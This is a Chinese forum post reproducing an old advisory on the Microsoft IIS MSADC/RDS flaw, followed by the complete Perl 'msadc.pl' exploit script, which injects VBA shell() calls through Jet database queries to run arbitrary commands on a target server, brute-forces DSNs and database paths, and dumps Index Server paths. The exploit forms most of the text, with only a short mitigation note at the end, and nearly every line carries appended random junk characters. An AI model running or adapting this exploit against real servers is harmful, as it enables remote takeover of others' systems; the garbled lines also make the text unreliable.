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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ,+qVu,  
;})5:\h  
涉及程序: bifS 2>c  
Microsoft NT server ]M)O YY  
1 )}=bhT  
描述: ^8 ' sib  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 J--m[X  
T081G`li  
详细: J7C4V'_  
如果你没有时间读详细内容的话,就删除: P5lqSA{6  
c:\Program Files\Common Files\System\Msadc\msadcs.dll H$af /^  
有关的安全问题就没有了。 7nbB^2  
_#$ *y  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ?JV|dM  
6"c1;P!4   
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 'Dvv?>=&  
关于利用ODBC远程漏洞的描述,请参看: mh<=[J,%p  
eI1GXQ%  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm aNyvNEV3C  
^xf<nNF:p  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 axHK_1N{  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ]$U xCu  
0-LpqX  
这里不再论述。 e*+F pW@  
=%zLh<3v  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: `/Nm 2K  
yq+!czlZ  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Z/^  u  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! &a/__c/l  
USN8N (  
"NRDNqj(  
#将下面这段保存为txt文件,然后: "perl -x 文件名" !6Sd(2  
!*2%"H*  
#!perl dd?x(,"A`  
# ;q0uE:^ S  
# MSADC/RDS 'usage' (aka exploit) script {lth+{&L#  
# pfx3C*  
# by rain.forest.puppy ~&\ f|%  
# a[lY S{  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me x8;`i$  
# beta test and find errors! '0$?h9"  
&V>fYgui  
use Socket; use Getopt::Std; yr#5k`&\_  
getopts("e:vd:h:XR", \%args); AmwWH7,g  
4tSv{B/}  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 7Cjd.0T=(  
lTU$0CG  
if (!defined $args{h} && !defined $args{R}) { b$k&dT\o  
print qq~ B\g]({E  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ++L?+^h  
-h <host> = host you want to scan (ip or domain) c!8=lrT.  
-d <seconds> = delay between calls, default 1 second 3~e8bcb  
-X = dump Index Server path table, if available .To;"D;j,  
-v = verbose H3{GmV8  
-e = external dictionary file for step 5 l!#m&'16"  
-@>BHC  
Or a -R will resume a command session < j$#9QQ1  
"RVcA",  
~; exit;} X7L8h'(@  
OT^%3:zg  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; B3Jgd,[  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 9dMrgz&'  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} :';L/x>  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); cI]WrI2CQa  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ?Qb<-~~ j1  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } @\&m+;6  
Th`skK&U  
if (!defined $args{R}){ $ret = &has_msadc; S osj$9E  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} KJE[+R H+z  
bqanFQj  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" O4<g%.HC6  
. "cmd /c "; a?yMHb{F  
$in=<STDIN>; chomp $in; yT{8d.Rh  
$command="cmd /c " . $in ; 2iu_pjj  
]nhr+;of/-  
if (defined $args{R}) {&load; exit;} b;|55Y  
KYJjwXT28W  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ~) ?  
&try_btcustmr; fjnTe  
 `[zQf  
print "\nStep 2: Trying to make our own DSN..."; GRy-+#,b"  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; =66Nw(E.  
E&Qi@Ty  
print "\nStep 3: Trying known DSNs..."; pj?XLiM54%  
&known_dsn; 0?WcoPU  
+h2eqNr  
print "\nStep 4: Trying known .mdbs..."; -/ ]W+[  
&known_mdb; /ug8]Lo0  
c`x7u}C  
if (defined $args{e}){ ?j^=u:<  
print "\nStep 5: Trying dictionary of DSN names..."; ]a2W e`  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } C@N1ljXJT  
Q4t(@0e}  
print "Sorry Charley...maybe next time?\n"; 8 i&_Jgmr  
exit; Y-ux7F{=z  
+.RKi !  
############################################################################## ] 4+s$rG  
9;yn}\N `  
sub sendraw { # ripped and modded from whisker 74<!&t  
sleep($delay); # it's a DoS on the server! At least on mine... PNW \*;j  
my ($pstr)=@_; 7^} Ll@  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || /S:F)MO9  
die("Socket problems\n"); yBLK$@9  
if(connect(S,pack "SnA4x8",2,80,$target)){ 7=@jARW&  
select(S); $|=1; )pw&c_x  
print $pstr; my @in=<S>; *%Qn{x  
select(STDOUT); close(S); s08u @  
return @in; rzp +:  
} else { die("Can't connect...\n"); }} bYe;b><G  
Oo?,fw  
############################################################################## 4E44Hzs  
D[O{(<9  
sub make_header { # make the HTTP request ?}Z1(it0  
my $msadc=<<EOT FZB~|3eq{  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 $ _8g8r}  
User-Agent: ACTIVEDATA <"o"z2  
Host: $ip hO{cvHy`  
Content-Length: $clen _wb0'xoK"  
Connection: Keep-Alive 93[DAs  
RkF D*E$  
ADCClientVersion:01.06 u6:pV.p  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 =O|c-k,f@  
j?b\+rr  
--!ADM!ROX!YOUR!WORLD! `"vZ);i <  
Content-Type: application/x-varg pIW I  
Content-Length: $reqlen Es5  
KC e13!  
EOT n(~\l#o@  
; $msadc=~s/\n/\r\n/g; F#xa`*AP  
return $msadc;}  Lw1T 4n  
l0*Gb  
############################################################################## 3CTX -#)vS  
4eVI},  
sub make_req { # make the RDS request bIt=v)%$  
my ($switch, $p1, $p2)=@_; 4LI0SwD#^/  
my $req=""; my $t1, $t2, $query, $dsn; >k']T/%  
66snC{g U  
if ($switch==1){ # this is the btcustmr.mdb query \EoX8b}$b0  
$query="Select * from Customers where City=" . make_shell(); [fu!AIQs  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 3#wcKv%>&_  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 5CAR{|a  
v"+k~:t*  
elsif ($switch==2){ # this is general make table query XwM611  
$query="create table AZZ (B int, C varchar(10))"; }~Q"s2  
$dsn="$p1";} h72UwJ2rw  
4VN aq<8  
elsif ($switch==3){ # this is general exploit table query Z?i /r5F  
$query="select * from AZZ where C=" . make_shell(); }aB#z<B6  
$dsn="$p1";} `Lyq[zg8  
KsAH]2Q%  
elsif ($switch==4){ # attempt to hork file info from index server F=G{)*Ih  
$query="select path from scope()"; *X%m@KLIKv  
$dsn="Provider=MSIDXS;";} P+e KZo  
m}VM+=  
elsif ($switch==5){ # bad query i5hD#  
$query="select"; c*\<,n_  
$dsn="$p1";} 8:ggECD  
us?&:L|!=  
$t1= make_unicode($query); ba@ax3  
$t2= make_unicode($dsn); %IL6ix  
$req = "\x02\x00\x03\x00"; OLq 0V3m  
$req.= "\x08\x00" . pack ("S1", length($t1)); B68H&h]D#'  
$req.= "\x00\x00" . $t1 ; 4{9d#[KW  
$req.= "\x08\x00" . pack ("S1", length($t2)); >5~7u\#9  
$req.= "\x00\x00" . $t2 ; }:iBx  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ^ L:cjY/  
return $req;} E]^5I3=O  
\zXlN  
############################################################################## kL@Wb/K JP  
B7Ntk MK  
sub make_shell { # this makes the shell() statement j'Y / H5  
return "'|shell(\"$command\")|'";} 1S%k  
%@& a7JOL  
############################################################################## (g/7yO(s  
PW}OU9is  
sub make_unicode { # quick little function to convert to unicode 'TN)Lb*  
my ($in)=@_; my $out; "5DJu ~  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } .I?@o8'x  
return $out;} U+]Jw\\l  
5#:pT  
############################################################################## -Q$nA>trKA  
\Z5 +$Ij  
sub rdo_success { # checks for RDO return success (this is kludge) t\U$8l_;  
my (@in) = @_; my $base=content_start(@in); GA^mgm"O  
if($in[$base]=~/multipart\/mixed/){ 2V#6q,2  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} =7[)'  
return 0;} O?K./So&  
&TN2 HZ-bJ  
############################################################################## }#9(Mul  
Uf,fX/:!  
sub make_dsn { # this makes a DSN for us ;'kI/(;;C  
my @drives=("c","d","e","f"); i3V/`)iz  
print "\nMaking DSN: "; eO5ktEoJ  
foreach $drive (@drives) { &a~=b,  
print "$drive: "; M$#sc`4*  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . \d68-JS@~  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" E1q%gi4Q%  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); MZm'npRf  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; k0K A~  
return 0 if $2 eq "404"; # not found/doesn't exist 744=3v  
if($2 eq "200") { w-FnE}"l  
foreach $line (@results) { z4O o@3$\R  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} XSD%t8<LO  
} return 0;} xe:' 8J6L  
FUTn  
############################################################################## f'/ KMe%<  
2ChWe}f  
sub verify_exists { /5a;_  
my ($page)=@_; tjzA)/T,4  
my @results=sendraw("GET $page HTTP/1.0\n\n"); }OKL z.5  
return $results[0];} XCPb9<L  
'"O&J}s;  
############################################################################## T&}Ye\%  
V:^H4WvL\W  
sub try_btcustmr { 9`X&,S~e  
my @drives=("c","d","e","f"); N=fz/CD)I  
my @dirs=("winnt","winnt35","winnt351","win","windows");  ]6~k4  
W7e4pR?w  
foreach $dir (@dirs) { mZoD033H  
print "$dir -> "; # fun status so you can see progress h)B!L Ar  
foreach $drive (@drives) { CyTFb$Z  
print "$drive: "; # ditto lSCY5[?  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; nk08>veG  
$reqlenlen=length( "$reqlen" ); K+ehr  
$clen= 206 + $reqlenlen + $reqlen; z-Hkz  
>ZCo 8aK  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); `!Ln|_,d  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} m#ad6 \  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} f)gGH'yOQ  
;/A}}B]y  
############################################################################## el Kx]%k*)  
[t}):}~F|  
sub odbc_error { +{vQS FW  
my (@in)=@_; my $base; Vu|dV\N0*  
my $base = content_start(@in); `1,eX)S  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this HWbBChDF  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; NKh,z& _5-  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; m+$/DD^-zl  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 9S"N4c>  
return $in[$base+4].$in[$base+5].$in[$base+6];} "o==4?*L  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; N[ Q#R~Hn<  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . N l|^o{#  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} It\BbG=  
PdjCv+R6?  
############################################################################## @ V5S4E  
%JaE4&  
sub verbose { ;_bq9x  
my ($in)=@_; 'Z$jBL  
return if !$verbose; B%(K0`G#X  
print STDOUT "\n$in\n";} Ei~]iZ}  
g1dmkX  
############################################################################## 6NSO>/E  
*vXDuhQ  
sub save { YiBOi?h9  
my ($p1, $p2, $p3, $p4)=@_; &08 Tns"  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; wK ][qZ ]  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; @|]iSD&T #  
close OUT;} &}O8w77  
~CulFxu  
############################################################################## 'iGMn_&  
>]C<j4  
sub load { vnF g%M!  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; .8%vd  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ?^eJ:  
@p=<IN>; close(IN); k~ZBJ+ 94  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); myffYK,  
$target= inet_aton($ip) || die("inet_aton problems"); krwf8!bI  
print "Resuming to $ip ..."; =^ gvZ| ]  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; @V7;TJk  
if($p[1]==1) { "&| lO|  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; *SXSF95  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; e$x4Ux7*"  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 0yKwH\S  
if (rdo_success(@results)){print "Success!\n";} fg< ( bXC  
else { print "failed\n"; verbose(odbc_error(@results));}} +-'`Q Ae  
elsif ($p[1]==3){ |zg=+  
if(run_query("$p[3]")){ *di&%&f  
print "Success!\n";} else { print "failed\n"; }} .;cxhgU  
elsif ($p[1]==4){ <&*#famX  
if(run_query($drvst . "$p[3]")){ &boj$ k!g[  
print "Success!\n"; } else { print "failed\n"; }} i<0D Z_rub  
exit;} o<~-k,{5P  
m*OLoZVy  
############################################################################## $;Q=iv 3  
 %L{  
sub create_table { ]kzv8#  
my ($in)=@_; hw7~i  
$reqlen=length( make_req(2,$in,"") ) - 28; Cd$dn HVh  
$reqlenlen=length( "$reqlen" ); P~n8EO1r  
$clen= 206 + $reqlenlen + $reqlen; CuF%[9[cT  
my @results=sendraw(make_header() . make_req(2,$in,"")); ,,zd.9n  
return 1 if rdo_success(@results); (c  u'  
my $temp= odbc_error(@results); verbose($temp); !7ph,/P$7  
return 1 if $temp=~/Table 'AZZ' already exists/; C8! 8u?k  
return 0;} VM=hQYe  
\=$EmHF  
############################################################################## zK[ 7:<  
5/zf x  
sub known_dsn { fpI; `s  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go >2 FAi.,  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", pE~9o 9  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", $@5%5  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); j\%?<2dj=  
1y_fQ+\2A  
foreach $dSn (@dsns) { +"TI_tK, S  
print "."; M9g~lKs'  
next if (!is_access("DSN=$dSn")); cH+h=E=  
if(create_table("DSN=$dSn")){ .G7]&5s  
print "$dSn successful\n"; &?}kL= h  
if(run_query("DSN=$dSn")){ 5B8V$ X  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { TW'E99wG  
print "Something's borked. Use verbose next time\n";}}} print "\n";} e4[-rkn{hl  
`%KpTh  
############################################################################## 0\8*S3,q  
Mb2:'u [  
sub is_access { ^aGZJiyJ  
my ($in)=@_; ~| 4U@  
$reqlen=length( make_req(5,$in,"") ) - 28; p} t{8j >  
$reqlenlen=length( "$reqlen" ); V=G b>_d  
$clen= 206 + $reqlenlen + $reqlen; \7OJN ~&<  
my @results=sendraw(make_header() . make_req(5,$in,"")); r\4*\  
my $temp= odbc_error(@results); OL,/-;z6  
verbose($temp); return 1 if ($temp=~/Microsoft Access/);  muK'h`  
return 0;} Ec7{BhH)  
!V$6+?2   
############################################################################## "#_)G7W+e  
jh<TdvF2$  
sub run_query { qAS70XjOF  
my ($in)=@_; &/J.0d-*``  
$reqlen=length( make_req(3,$in,"") ) - 28; xl1L4R)6D  
$reqlenlen=length( "$reqlen" ); lQ=&jkw  
$clen= 206 + $reqlenlen + $reqlen; (M+,wW[6  
my @results=sendraw(make_header() . make_req(3,$in,"")); ~0' _K1(H  
return 1 if rdo_success(@results); zgEr,nF  
my $temp= odbc_error(@results); verbose($temp); vkDZv@  
return 0;} 3I(dC|d  
f}Ne8]U/Hc  
############################################################################## s9ju/+fv  
f.U0E6-(3N  
sub known_mdb { se^NQ=  
my @drives=("c","d","e","f","g"); v^ y}lT  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ,(;p(#F>  
my $dir, $drive, $mdb; 7eaA]y~H  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; yDu yMt#  
> {'5>6u  
# this is sparse, because I don't know of many j?d;xj  
my @sysmdbs=( "\\catroot\\icatalog.mdb", -D&.)N9ctQ  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", CS^ oiV%{s  
"\\system32\\certmdb.mdb", 1B9Fb.i  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% '$2oSd  
z&;zU)Jvd  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", &;r'{$  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Cg]3(3   
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", m11"i=S"  
"\\cfusion\\cfapps\\security\\realm_.mdb", +SZ%&  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", UY}9  
"\\cfusion\\database\\cfexamples.mdb", X\c1q4oB[  
"\\cfusion\\database\\cfsnippets.mdb", PsF- 9&_  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", @1J51< x  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", z$I[kR%I{  
"\\cfusion\\brighttiger\\database\\cleam.mdb", N+C%Z[gt[  
"\\cfusion\\database\\smpolicy.mdb", >Rl0%!  
"\\cfusion\\database\cypress.mdb", O]$*EiO\  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 6ywnyh  
"\\website\\cgi-win\\dbsample.mdb", ^cKv JSY  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", rC1qGzg\a  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" zezofW]a  
); #these are just a`[?,W:q  
foreach $drive (@drives) { |2t7G9[n  
foreach $dir (@dirs){ VrAXOUJw6  
foreach $mdb (@sysmdbs) { 0,"n-5Im  
print "."; u@:=qd=\  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ {LMS~nx  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; OTNZ!U/)j  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Hz!U_?  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; qJbhPY8Ak  
} else { print "Something's borked. Use verbose next time\n"; }}}}} [i<$ZP  
8a":[Q[  
foreach $drive (@drives) { f2R+5`$  
foreach $mdb (@mdbs) { -Z/6;2Q  
print "."; (:j+[3Ht  
if(create_table($drv . $drive . $dir . $mdb)){ ;S{Ld1;  
print "\n" . $drive . $dir . $mdb . " successful\n"; O>b&-U"R  
if(run_query($drv . $drive . $dir . $mdb)){ i SAidK,  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; /`j  K  
} else { print "Something's borked. Use verbose next time\n"; }}}}  OGE#wG"S  
} t`Y1.]@U  
Lv,ji_  
############################################################################## H(5ui`'s  
~q#[5l(r8  
sub hork_idx { w ufKb.4`  
print "\nAttempting to dump Index Server tables...\n"; i$ fjr[$B  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 1S)0 23N  
$reqlen=length( make_req(4,"","") ) - 28; Fb\2df{@  
$reqlenlen=length( "$reqlen" ); kERaY9L\  
$clen= 206 + $reqlenlen + $reqlen; n{qw ]/  
my @results=sendraw2(make_header() . make_req(4,"","")); 9>.<+b(>!'  
if (rdo_success(@results)){ ,,C~j`F  
my $max=@results; my $c; my %d;  ycAi(K  
for($c=19; $c<$max; $c++){ k DceBs s  
$results[$c]=~s/\x00//g; J4 '!  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; =xlYQ}-(a  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; gR_b~ ^  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; {%+3D,$)  
$d{"$1$2"}="";} 1Hk<_no5  
foreach $c (keys %d){ print "$c\n"; } -; /@;W  
} else {print "Index server doesn't seem to be installed.\n"; }} A Eyr_!G,  
33v%e  
############################################################################## F|n$0vQ*  
9bzYADLI  
sub dsn_dict { v%l|S{>(  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); *`pec3"  
while(<IN>){ 3MBz  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; P7BJ?x  
next if (!is_access("DSN=$dSn")); 43orR !.Z  
if(create_table("DSN=$dSn")){ aP6%OI  
print "$dSn successful\n"; G7kFo6Cb  
if(run_query("DSN=$dSn")){ %;B(_ht<-w  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { vCU&yXGl  
print "Something's borked. Use verbose next time\n";}}} )*$  
print "\n"; close(IN);} ~A:;?A'.  
b$`4Nn|  
############################################################################## <+i`W7  
g:HbmXOBpj  
sub sendraw2 { # ripped and modded from whisker \A~I>x  
sleep($delay); # it's a DoS on the server! At least on mine... |"tV["a  
my ($pstr)=@_; M;Mdz[Q  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || dPdHY&#`  
die("Socket problems\n"); RAx]Sp Q-S  
if(connect(S,pack "SnA4x8",2,80,$target)){ r^o}Y  
print "Connected. Getting data"; 6Nd_YX  
open(OUT,">raw.out"); my @in; UgP=k){  
select(S); $|=1; print $pstr; ow>[#.ua  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} tB(X`A.|  
close(OUT); select(STDOUT); close(S); return @in; Vo9)KxR  
} else { die("Can't connect...\n"); }} 5-QvQ&eH.  
raI~BIfe  
############################################################################## uwS'*5tU  
FUTyx"   
sub content_start { # this will take in the server headers 0 *Yivx6  
my (@in)=@_; my $c; C6T 9  
for ($c=1;$c<500;$c++) { Om?:X!l"  
if($in[$c] =~/^\x0d\x0a/){ 0,D9\ Ebd  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } @}rfY9o'  
else { return $c+1; }}} dU04/]modD  
return -1;} # it should never get here actually [Xo J7  
gu .))3D9  
############################################################################## { G>+.  
},QFyT  
sub funky { iNrmhiql  
my (@in)=@_; my $error=odbc_error(@in); }-]s#^'w  
if($error=~/ADO could not find the specified provider/){ TXk"[>,:H  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; UNH}*]u4`  
exit;} qpEC!~ y  
if($error=~/A Handler is required/){ MvjwP?J]  
print "\nServer has custom handler filters (they most likely are patched)\n"; r'JK$9  
exit;} >,Swk3  
if($error=~/specified Handler has denied Access/){ _q!ck0_  
print "\nServer has custom handler filters (they most likely are patched)\n"; GH)+yD[o  
exit;}} ~|d?o5W  
[`n yq)  
############################################################################## ?B31 t9  
YwTtI ID%  
sub has_msadc { $HnD|_*  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ^J=txsx  
my $base=content_start(@results); sAAIyPJts  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); %RF   
return 0;} [z t&8g  
D `3yv R  
######################## R8Ei:f}  
$,@ +Ua  
=|t1eSzc  
解决方案: r3lr`s`  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 5suSR;8  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ov.rHVeI  
/u1zRw  
拿出来充数 哈哈
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